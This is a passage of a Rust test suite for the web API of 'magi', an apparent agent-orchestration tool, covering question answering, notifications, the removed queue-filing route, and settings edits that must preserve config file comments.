12639                q.node = crate::land::APPROVAL_NODE.into();
12640                q.choices = vec!["merge".into(), "hold".into()];
12641                Ok(())
12642            })
12643            .unwrap();
12644        let list = fx.get("/api/questions").await.json();
12645        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12646        assert_eq!(list[0]["can_consult_chat"], true);
12647        fx.questions()
12648            .update(&id, |q| {
12649                q.node = crate::bump::NOTICE_NODE.into();
12650                Ok(())
12651            })
12652            .unwrap();
12653        let list = fx.get("/api/questions").await.json();
12654        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12655        assert_eq!(list[0]["can_consult_chat"], false);
12656    }
12657
12658    #[tokio::test]
12659    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12660        let fx = Fixture::start().await;
12661        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12662        fx.questions()
12663            .update(&id, |q| {
12664                q.node = crate::land::APPROVAL_NODE.into();
12665                q.choices = vec!["merge".into(), "hold".into()];
12666                Ok(())
12667            })
12668            .unwrap();
12669        let cfg = Config {
12670            agents: vec![crate::config::AgentSpec {
12671                id: "mock".to_owned(),
12672                kind: crate::config::AgentKind::Command,
12673                model: None,
12674                command: vec!["true".to_owned()],
12675                extra_args: Vec::new(),
12676                env: Default::default(),
12677                prompt_delivery: None,
12678                max_turn_secs: None,
12679            }],
12680            ..Config::default()
12681        };
12682        // Not a git working tree, so its `magi.toml` is read from disk.
12683        let repo = fx.home.path().join("chat-repo");
12684        std::fs::create_dir_all(&repo).unwrap();
12685        let toml = repo.join("magi.toml");
12686        std::fs::write(&toml, "this is = = not toml").unwrap();
12687        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12688        let mut task = Task::new(
12689            "t".to_owned(),
12690            "Do it".to_owned(),
12691            PathBuf::from("/repo/magi"),
12692            Source::Agent {
12693                run: talk.id.clone(),
12694                node: crate::queue::CHAT_NODE.to_owned(),
12695            },
12696        );
12697        task.start("20260902-000000-beef".to_owned());
12698        fx.queue().put(&mut task).unwrap();
12699
12700        let path = format!("/api/questions/{id}/consult");
12701        let res = fx.post(&path, None).await;
12702        assert!(res.status >= 400, "{}", res.body);
12703        assert!(fx.questions().get(&id).unwrap().consult.is_none());
12704        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
12705
12706        std::fs::write(&toml, "").unwrap();
12707        let res = fx.post(&path, None).await;
12708        assert_eq!(res.status, 202, "{}", res.body);
12709        assert!(fx.questions().get(&id).unwrap().consult.is_some());
12710        let q = fx.questions().get(&id).unwrap();
12711        assert!(q.status.open());
12712        assert!(q.answer.is_none());
12713        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12714        assert_eq!(res.json()["can_consult_chat"], true);
12715        let list = fx.get("/api/questions").await.json();
12716        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12717        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
12718
12719        let res = fx
12720            .post(
12721                &format!("/api/questions/{id}/answer"),
12722                Some(r#"{"choice":"hold"}"#),
12723            )
12724            .await;
12725        assert_eq!(res.status, 200, "{}", res.body);
12726        assert_eq!(res.json()["answer"]["choice"], "hold");
12727        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12728        assert_eq!(res.json()["can_consult_chat"], false);
12729        assert_eq!(fx.post(&path, None).await.status, 409);
12730
12731        let mut talk = fx.talks().get(&talk.id).unwrap();
12732        crate::talk::close(&mut talk, &fx.talks()).unwrap();
12733        let list = fx.get("/api/questions").await.json();
12734        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12735        assert_eq!(list[0]["origin_chat_closed"], true);
12736        assert_eq!(list[0]["can_consult_chat"], false);
12737
12738        fx.talks().remove(&talk.id).unwrap();
12739        let list = fx.get("/api/questions").await.json();
12740        assert_eq!(list[0]["origin_chat"], Value::Null);
12741        assert_eq!(list[0]["origin_chat_closed"], false);
12742        assert_eq!(list[0]["can_consult_chat"], false);
12743    }
12744
12745    #[tokio::test]
12746    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
12747        let fx = Fixture::start().await;
12748        let store = fx.questions();
12749        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12750        store.beat(&id, ask::WaiterKind::Asker);
12751        assert_eq!(
12752            fx.get("/api/health").await.json()["questions_needs_owner"],
12753            1
12754        );
12755
12756        // The owner asks back instead of deciding: the ask bar, the nav badge
12757        // and the title must stop naming this question, because there is
12758        // nothing to decide until the agent answers - `status` alone cannot
12759        // say that, which is the whole reason `questions_needs_owner` exists
12760        // alongside `questions_open`.
12761        let res = fx
12762            .post(
12763                &format!("/api/questions/{id}/say"),
12764                Some(r#"{"body":"why not Postgres?"}"#),
12765            )
12766            .await;
12767        assert_eq!(res.status, 200, "{}", res.body);
12768        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12769        assert_eq!(
12770            fx.get("/api/health").await.json()["questions_needs_owner"],
12771            0,
12772            "waiting on the agent is not waiting on the owner"
12773        );
12774
12775        // `magi ask --thread` replying is what brings the owner count back -
12776        // the same event that would resume the CLI call blocked in `magi
12777        // ask`.
12778        let mut q = store.get(&id).expect("get");
12779        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
12780            .expect("reply");
12781        store.put(&mut q).expect("put");
12782        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12783        assert_eq!(
12784            fx.get("/api/health").await.json()["questions_needs_owner"],
12785            1,
12786            "the agent's reply is what should light the banner back up"
12787        );
12788    }
12789
12790    #[tokio::test]
12791    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
12792        let fx = Fixture::start().await;
12793        let store = fx.questions();
12794
12795        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12796        let res = fx
12797            .post(
12798                &format!("/api/questions/{empty_id}/say"),
12799                Some(r#"{"body":"   "}"#),
12800            )
12801            .await;
12802        assert_eq!(res.status, 400, "{}", res.body);
12803
12804        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12805        let mut answered = store.get(&answered_id).expect("get");
12806        answered
12807            .answer(Answer::Choice("SQLite".to_owned()))
12808            .expect("answer");
12809        store.put(&mut answered).expect("put");
12810        let res = fx
12811            .post(
12812                &format!("/api/questions/{answered_id}/say"),
12813                Some(r#"{"body":"still there?"}"#),
12814            )
12815            .await;
12816        assert_eq!(res.status, 409, "{}", res.body);
12817
12818        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12819        let mut abandoned = store.get(&abandoned_id).expect("get");
12820        abandoned.abandon("timed out");
12821        store.put(&mut abandoned).expect("put");
12822        let res = fx
12823            .post(
12824                &format!("/api/questions/{abandoned_id}/say"),
12825                Some(r#"{"body":"still there?"}"#),
12826            )
12827            .await;
12828        assert_eq!(res.status, 409, "{}", res.body);
12829    }
12830
12831    #[tokio::test]
12832    async fn an_answer_the_question_does_not_offer_is_refused() {
12833        let fx = Fixture::start().await;
12834        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12835        let path = format!("/api/questions/{id}/answer");
12836
12837        for body in [
12838            r#"{"choice":"Postgres"}"#,
12839            r#"{"text":"whatever you think"}"#,
12840            r#"{"choice":"Redis","text":"both"}"#,
12841            r#"{}"#,
12842        ] {
12843            let res = fx.post(&path, Some(body)).await;
12844            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
12845            assert!(res.json()["error"].is_string(), "{}", res.body);
12846        }
12847        // Nothing above may have answered it.
12848        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12849    }
12850
12851    #[tokio::test]
12852    async fn a_free_text_question_takes_text_and_not_a_choice() {
12853        let fx = Fixture::start().await;
12854        let id = ask(&fx, "What should the flag be called?", &[]);
12855        fx.questions().beat(&id, ask::WaiterKind::Asker);
12856        let path = format!("/api/questions/{id}/answer");
12857
12858        assert_eq!(
12859            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
12860            400
12861        );
12862        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
12863        assert_eq!(res.status, 200, "{}", res.body);
12864        assert_eq!(res.json()["answer"]["text"], "--json");
12865    }
12866
12867    #[tokio::test]
12868    async fn an_unknown_question_is_a_json_404() {
12869        let fx = Fixture::start().await;
12870        let res = fx
12871            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
12872            .await;
12873        assert_eq!(res.status, 404, "{}", res.body);
12874        assert!(res.json()["error"].is_string());
12875    }
12876
12877    #[tokio::test]
12878    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
12879        let fx = Fixture::start().await;
12880        let questions = Questions::at(fx.home.path().join("questions"));
12881        let store = Notices::at(fx.home.path().join("notifications"));
12882        let mut q = ask::Question::new(
12883            "t1".into(),
12884            "conduct".into(),
12885            "conductor".into(),
12886            "Continue?".into(),
12887            String::new(),
12888            Vec::new(),
12889        );
12890        questions.put(&mut q).unwrap();
12891        let mut n = Notice::warn("task:t1", "Task t1 is held.");
12892        n.covered_by = Some(q.id.clone());
12893        let n = store.raise(n).unwrap();
12894        let listed = fx.get("/api/notifications").await.json();
12895        assert_eq!(listed["items"][0]["answerable_question"], q.id);
12896        questions
12897            .update(&q.id, |q| {
12898                q.abandon("run gone");
12899                Ok(())
12900            })
12901            .unwrap();
12902        let listed = fx.get("/api/notifications").await.json();
12903        assert!(listed["items"][0]["answerable_question"].is_null());
12904        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
12905        assert!(
12906            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
12907                .unwrap()
12908                .contains("answerable_question")
12909        );
12910    }
12911
12912    #[tokio::test]
12913    async fn notifications_list_read_dismiss_and_health_agree() {
12914        let fx = Fixture::start().await;
12915        let store = Notices::at(fx.home.path().join("notifications"));
12916        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
12917        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
12918
12919        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
12920        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
12921
12922        store
12923            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
12924            .unwrap();
12925        let health = fx.get("/api/health").await.json();
12926        assert_eq!(health["notifications_unread"], 2);
12927        assert_ne!(
12928            health["notifications_rev"], rev0,
12929            "the badge must move live"
12930        );
12931
12932        let listed = fx.get("/api/notifications").await.json();
12933        assert_eq!(listed["unread"], 2);
12934        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
12935        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
12936
12937        let read = fx
12938            .post(&format!("/api/notifications/{}/read", a.id), None)
12939            .await;
12940        assert_eq!(read.status, 200, "{}", read.body);
12941        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
12942
12943        let gone = fx
12944            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
12945            .await;
12946        assert_eq!(gone.status, 200, "{}", gone.body);
12947        let listed = fx.get("/api/notifications").await.json();
12948        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
12949        assert_eq!(listed["unread"], 0);
12950
12951        store.raise(Notice::info("x", "again")).unwrap();
12952        let all = fx.post("/api/notifications/read-all", None).await;
12953        assert_eq!(all.status, 200, "{}", all.body);
12954        assert_eq!(all.json()["marked"], 1);
12955        assert_eq!(
12956            fx.get("/api/health").await.json()["notifications_unread"],
12957            0
12958        );
12959
12960        let missing = fx.post("/api/notifications/nope/read", None).await;
12961        assert_eq!(missing.status, 404, "{}", missing.body);
12962        assert!(missing.json()["error"].is_string());
12963    }
12964
12965    /// New work reaches the queue through `magi task add`, a standing talk's
12966    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
12967    /// so the compose form and that route are gone. The tests that covered
12968    /// that route's validation went with it, and nothing was left asserting
12969    /// it stays gone — so a re-added handler would silently let the phone
12970    /// file briefs no one validated.
12971    #[tokio::test]
12972    async fn a_task_cannot_be_filed_over_the_phone_directly() {
12973        let f = Fixture::start().await;
12974
12975        let res = f
12976            .post(
12977                "/api/queue",
12978                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
12979            )
12980            .await;
12981
12982        assert_eq!(
12983            res.status, 405,
12984            "POST /api/queue must not be a route: {}",
12985            res.body
12986        );
12987        assert!(
12988            f.queue().list().is_empty(),
12989            "a task filed by a route that does not exist must not reach the disk"
12990        );
12991        // The path itself is still served — the Queue view reads it — and the
12992        // per-task controls are untouched by the entry being removed.
12993        assert_eq!(f.get("/api/queue").await.status, 200);
12994    }
12995
12996    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
12997    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
12998        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
12999            .expect("checkout dir");
13000    }
13001
13002    /// Two command agents, so a config needs no real CLI.
13003    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
13004
13005    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
13006        let tmp = TempDir::new().expect("tempdir");
13007        let repo = tmp.path().join("repo");
13008        std::fs::create_dir_all(&repo).expect("repo dir");
13009        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
13010        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
13011        if let Some(text) = machine_toml {
13012            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
13013            std::fs::write(&machine, text).expect("machine toml");
13014        }
13015        (tmp, repo, machine)
13016    }
13017
13018    async fn settings_checkout(path: &FsPath, text: &str) {
13019        std::fs::create_dir_all(path).unwrap();
13020        std::fs::write(path.join("magi.toml"), text).unwrap();
13021        for args in [
13022            vec!["init", "-b", "main"],
13023            vec!["add", "magi.toml"],
13024            vec![
13025                "-c",
13026                "user.name=Test",
13027                "-c",
13028                "user.email=test@example.invalid",
13029                "commit",
13030                "-m",
13031                "fixture",
13032            ],
13033            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13034            vec![
13035                "symbolic-ref",
13036                "refs/remotes/origin/HEAD",
13037                "refs/remotes/origin/main",
13038            ],
13039        ] {
13040            crate::git::git(path, &args).await.unwrap();
13041        }
13042    }
13043
13044    #[tokio::test]
13045    async fn settings_context_handlers_validate_and_save_without_a_socket() {
13046        let (tmp, repo, machine) =
13047            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13048        let root = tmp.path().join("roots");
13049        let selected = root.join("host/owner/selected");
13050        settings_checkout(
13051            &selected,
13052            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13053        )
13054        .await;
13055        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13056        let before = std::fs::read(&machine).unwrap();
13057        let ui = Arc::new(
13058            Ui::new(
13059                Queue::at(tmp.path().join("queue")),
13060                Questions::at(tmp.path().join("questions")),
13061                Talks::at(tmp.path().join("talks")),
13062                tmp.path().join("runs"),
13063                tmp.path().to_path_buf(),
13064                repo.clone(),
13065            )
13066            .with_machine_config(Some(machine.clone())),
13067        );
13068        let query = || {
13069            Query(SettingsQuery {
13070                repo: Some(selected.clone()),
13071            })
13072        };
13073        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13074        assert!(v.error.is_none(), "{:?}", v.error);
13075        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13076        assert_eq!(conductor.source, "repo");
13077        assert_eq!(
13078            conductor.machine_value,
13079            Some(toml::Value::String("a".into()))
13080        );
13081        assert!(!conductor.editable);
13082        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13083        assert_eq!(
13084            judges.count.as_ref().unwrap().machine_value,
13085            Some(toml::Value::Integer(1))
13086        );
13087        assert!(
13088            !v.roles
13089                .iter()
13090                .find(|r| r.key == "reviewers")
13091                .unwrap()
13092                .editable
13093        );
13094        let unknown = || {
13095            Query(SettingsQuery {
13096                repo: Some(tmp.path().to_path_buf()),
13097            })
13098        };
13099        assert_eq!(
13100            settings_get(State(ui.clone()), unknown())
13101                .await
13102                .unwrap_err()
13103                .status,
13104            StatusCode::UNPROCESSABLE_ENTITY
13105        );
13106        let body = || {
13107            Ok(Json(RolesBody {
13108                revision: v.revision.clone(),
13109                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
13110                counts: Default::default(),
13111            }))
13112        };
13113        assert_eq!(
13114            settings_put_roles(State(ui.clone()), unknown(), body())
13115                .await
13116                .unwrap_err()
13117                .status,
13118            StatusCode::UNPROCESSABLE_ENTITY
13119        );
13120        assert_eq!(std::fs::read(&machine).unwrap(), before);
13121        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
13122            .await
13123            .unwrap();
13124        assert_eq!(
13125            saved.repo,
13126            selected.canonicalize().unwrap().display().to_string()
13127        );
13128        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13129        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13130        // A cache miss refreshes the stable candidate list exactly for validation.
13131        let fresh = root.join("host/owner/fresh");
13132        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
13133        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
13134            .await
13135            .unwrap();
13136        assert_eq!(fresh_view.repositories.len(), 3);
13137    }
13138
13139    #[tokio::test]
13140    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
13141        let (tmp, repo, machine) = settings_dirs(
13142            "[roles]\nreviewers = [\"a\"]\n",
13143            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
13144        );
13145        let root = tmp.path().join("roots");
13146        let selected = root.join("host/owner/selected");
13147        settings_checkout(
13148            &selected,
13149            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
13150        )
13151        .await;
13152        let broken = root.join("host/owner/broken");
13153        settings_checkout(&broken, "[roles\nbroken").await;
13154        let machine_text = format!(
13155            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
13156            toml::Value::String(root.display().to_string())
13157        );
13158        std::fs::write(&machine, &machine_text).unwrap();
13159        let originals: Vec<_> = [&repo, &selected, &broken]
13160            .iter()
13161            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
13162            .collect();
13163        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13164        let default = f.get("/api/settings").await.json();
13165        assert_eq!(
13166            default["repo"],
13167            repo.canonicalize().unwrap().display().to_string()
13168        );
13169        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
13170        let query = format!("?repo={}", selected.display());
13171        let res = f.get(&format!("/api/settings{query}")).await;
13172        assert_eq!(res.status, 200, "{}", res.body);
13173        let v = res.json();
13174        assert!(v["error"].is_null(), "{v}");
13175        assert_eq!(v["repositories"], default["repositories"]);
13176        let role = |key: &str| {
13177            v["roles"]
13178                .as_array()
13179                .unwrap()
13180                .iter()
13181                .find(|r| r["key"] == key)
13182                .unwrap()
13183        };
13184        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
13185        assert_eq!(role("advisors")["source"], "repo");
13186        assert_eq!(role("advisors")["editable"], false);
13187        assert!(role("advisors")["machine_value"].is_null());
13188        assert_eq!(role("judges")["count"]["value"], 2);
13189        assert_eq!(role("judges")["count"]["machine_value"], 1);
13190        assert_eq!(role("judges")["count"]["source"], "repo");
13191        let source = role("judges")["count"]["source_path"].as_str().unwrap();
13192        assert!(
13193            source.contains("origin/main") && !source.contains("magi/config/"),
13194            "{source}"
13195        );
13196        assert_eq!(
13197            role("reviewers")["editable"],
13198            false,
13199            "default context outside roots must protect its declarations"
13200        );
13201        let body =
13202            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13203        let unknown = format!("?repo={}", tmp.path().display());
13204        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13205        assert_eq!(
13206            f.put(&format!("/api/settings/roles{unknown}"), &body)
13207                .await
13208                .status,
13209            422
13210        );
13211        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13212        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13213            .to_string();
13214        assert_eq!(
13215            f.put(&format!("/api/settings/roles{query}"), &refuse)
13216                .await
13217                .status,
13218            422
13219        );
13220        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13221        assert_eq!(saved.status, 200, "{}", saved.body);
13222        assert_eq!(saved.json()["repo"], v["repo"]);
13223        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13224        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13225        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13226            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13227        }
13228        let error = f
13229            .get(&format!("/api/settings?repo={}", broken.display()))
13230            .await;
13231        assert_eq!(error.status, 200);
13232        assert!(error.json()["error"]["message"].is_string());
13233        assert_eq!(error.json()["repositories"], default["repositories"]);
13234    }
13235
13236    #[tokio::test]
13237    async fn settings_get_reports_sources_and_the_advisors_fallback() {
13238        let (_tmp, repo, machine) =
13239            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13240        let f = Fixture::with_repo_and_machine(repo, machine).await;
13241        let res = f.get("/api/settings").await;
13242        assert_eq!(res.status, 200, "{}", res.body);
13243        let v = res.json();
13244        assert!(v["error"].is_null(), "{v}");
13245        let role = |k: &str| {
13246            v["roles"]
13247                .as_array()
13248                .and_then(|r| r.iter().find(|x| x["key"] == k))
13249                .cloned()
13250                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13251        };
13252        assert_eq!(role("judges")["source"], "machine");
13253        assert_eq!(role("judges")["editable"], true);
13254        assert_eq!(role("implementers")["source"], "default");
13255        let adv = role("advisors");
13256        assert_eq!(adv["fallback"], "judges");
13257        assert!(
13258            adv["seats"]
13259                .as_array()
13260                .is_some_and(|s| s.iter().all(|x| x == "b")),
13261            "{adv}"
13262        );
13263        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13264        assert_eq!(v["agents"][0]["source"], "repo");
13265    }
13266
13267    #[tokio::test]
13268    async fn settings_get_reports_a_config_that_does_not_parse() {
13269        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13270        let f = Fixture::with_repo_and_machine(repo, machine).await;
13271        let res = f.get("/api/settings").await;
13272        assert_eq!(res.status, 200, "{}", res.body);
13273        let v = res.json();
13274        assert!(v["error"]["message"].is_string(), "{v}");
13275        assert!(
13276            v["error"]["path"]
13277                .as_str()
13278                .is_some_and(|p| p.ends_with("magi.toml")),
13279            "{v}"
13280        );
13281        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13282    }
13283
13284    #[tokio::test]
13285    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13286        let (_tmp, repo, machine) = settings_dirs(
13287            SETTINGS_AGENTS,
13288            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
13289        );
13290        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13291        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13292        let rev = f.get("/api/settings").await.json()["revision"]
13293            .as_str()
13294            .expect("revision")
13295            .to_owned();
13296        let body = serde_json::json!({
13297            "revision": rev,
13298            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13299        })
13300        .to_string();
13301        let res = f.put("/api/settings/roles", &body).await;
13302        assert_eq!(res.status, 200, "{}", res.body);
13303        let text = std::fs::read_to_string(&machine).expect("machine");
13304        assert_eq!(
13305            text,
13306            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13307        );
13308        assert_eq!(
13309            std::fs::read(repo.join("magi.toml")).expect("read"),
13310            repo_before
13311        );
13312        let again = f.get("/api/settings").await.json();
13313        let judges = again["roles"]
13314            .as_array()
13315            .expect("roles")
13316            .iter()
13317            .find(|r| r["key"] == "judges")
13318            .expect("judges")
13319            .clone();
13320        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13321        // The old revision is now stale.
13322        let stale = f.put("/api/settings/roles", &body).await;
13323        assert_eq!(stale.status, 409, "{}", stale.body);
13324    }
13325
13326    #[tokio::test]
13327    async fn settings_counts_are_reported_and_saved() {
13328        let (_tmp, repo, machine) = settings_dirs(
13329            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13330            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13331        );
13332        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13333        let v = f.get("/api/settings").await.json();
13334        let count = |v: &serde_json::Value, k: &str| {
13335            v["roles"]
13336                .as_array()
13337                .and_then(|r| r.iter().find(|x| x["key"] == k))
13338                .map(|x| x["count"].clone())
13339                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13340        };
13341        let imp = count(&v, "implementers");
13342        assert_eq!(imp["value"], 2);
13343        assert_eq!(imp["source"], "machine");
13344        assert_eq!(imp["file_key"], "candidates");
13345        assert_eq!(imp["roster_len"], 2);
13346        assert_eq!(imp["backups"], 0);
13347        assert_eq!(count(&v, "judges")["source"], "default");
13348        assert_eq!(count(&v, "advisors")["min"], 0);
13349        assert_eq!(count(&v, "reviewers")["editable"], false);
13350        assert!(
13351            count(&v, "reviewers")["locked_reason"]
13352                .as_str()
13353                .is_some_and(|m| m.contains("graph.reviewers"))
13354        );
13355        assert!(count(&v, "fixer").is_null());
13356        let rev = v["revision"].as_str().expect("revision").to_owned();
13357        let body = serde_json::json!({
13358            "revision": rev,
13359            "roles": { "judges": ["b"] },
13360            "counts": { "implementers": 1, "advisors": 0 }
13361        })
13362        .to_string();
13363        let res = f.put("/api/settings/roles", &body).await;
13364        assert_eq!(res.status, 200, "{}", res.body);
13365        let text = std::fs::read_to_string(&machine).expect("machine");
13366        assert_eq!(
13367            text,
13368            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13369        );
13370        let after = f.get("/api/settings").await.json();
13371        assert_eq!(count(&after, "implementers")["value"], 1);
13372        assert_eq!(count(&after, "implementers")["backups"], 1);
13373        assert_eq!(count(&after, "advisors")["value"], 0);
13374        let before = std::fs::read_to_string(&machine).expect("machine");
13375        let rev = after["revision"].as_str().expect("revision").to_owned();
13376        for counts in [
13377            serde_json::json!({ "judges": 0 }),
13378            serde_json::json!({ "judges": "x" }),
13379            serde_json::json!({ "judges": 2.5 }),
13380            serde_json::json!({ "judges": -1 }),
13381            serde_json::json!({ "reviewers": 3 }),
13382            serde_json::json!({ "bogus": 3 }),
13383        ] {
13384            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13385            let res = f.put("/api/settings/roles", &body).await;
13386            assert_eq!(res.status, 422, "{counts}: {}", res.body);
13387            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13388        }
13389    }
13390
13391    #[tokio::test]
13392    async fn settings_put_refuses_without_touching_the_file() {
13393        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13394        let (_tmp, repo, machine) = settings_dirs(
13395            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13396            Some(machine_text),
13397        );
13398        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13399        let rev = f.get("/api/settings").await.json()["revision"]
13400            .as_str()
13401            .expect("revision")
13402            .to_owned();
13403        for roles in [
13404            serde_json::json!({ "judges": ["nope"] }),
13405            serde_json::json!({ "reviewers": ["b"] }),
13406            serde_json::json!({ "bogus": ["a"] }),
13407        ] {
13408            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13409            let res = f.put("/api/settings/roles", &body).await;
13410            assert_eq!(res.status, 422, "{roles}: {}", res.body);
13411            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13412            assert_eq!(
13413                std::fs::read_to_string(&machine).expect("machine"),
13414                machine_text
13415            );
13416        }
13417    }
13418
13419    #[tokio::test]
13420    async fn repos_list_returns_name_and_path_for_every_configured_root() {
13421        let tmp = TempDir::new().expect("tempdir");
13422        let repo = tmp.path().join("repo");
13423        std::fs::create_dir_all(&repo).expect("repo dir");
13424        let root = tmp.path().join("root");
13425        make_checkout(&root, "github.com", "yukimemi", "magi");
13426        std::fs::write(
13427            repo.join("magi.toml"),
13428            format!(
13429                "[repos]\nroots = [{:?}]\n",
13430                root.to_string_lossy().into_owned()
13431            ),
13432        )
13433        .expect("write magi.toml");
13434
13435        let f = Fixture::with_repo(repo).await;
13436        let res = f.get("/api/repos").await;
13437        assert_eq!(res.status, 200, "{}", res.body);
13438        let list = res.json();
13439        let repos = list.as_array().expect("an array");
13440        assert_eq!(repos.len(), 1);
13441        assert_eq!(repos[0]["name"], "yukimemi/magi");
13442        assert!(
13443            repos[0]["path"]
13444                .as_str()
13445                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13446            "{list}"
13447        );
13448    }
13449
13450    #[tokio::test]
13451    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13452        let tmp = TempDir::new().expect("tempdir");
13453        let repo = tmp.path().join("repo");
13454        std::fs::create_dir_all(&repo).expect("repo dir");
13455        let root = tmp.path().join("root");
13456        make_checkout(&root, "github.com", "yukimemi", "magi");
13457        std::fs::write(
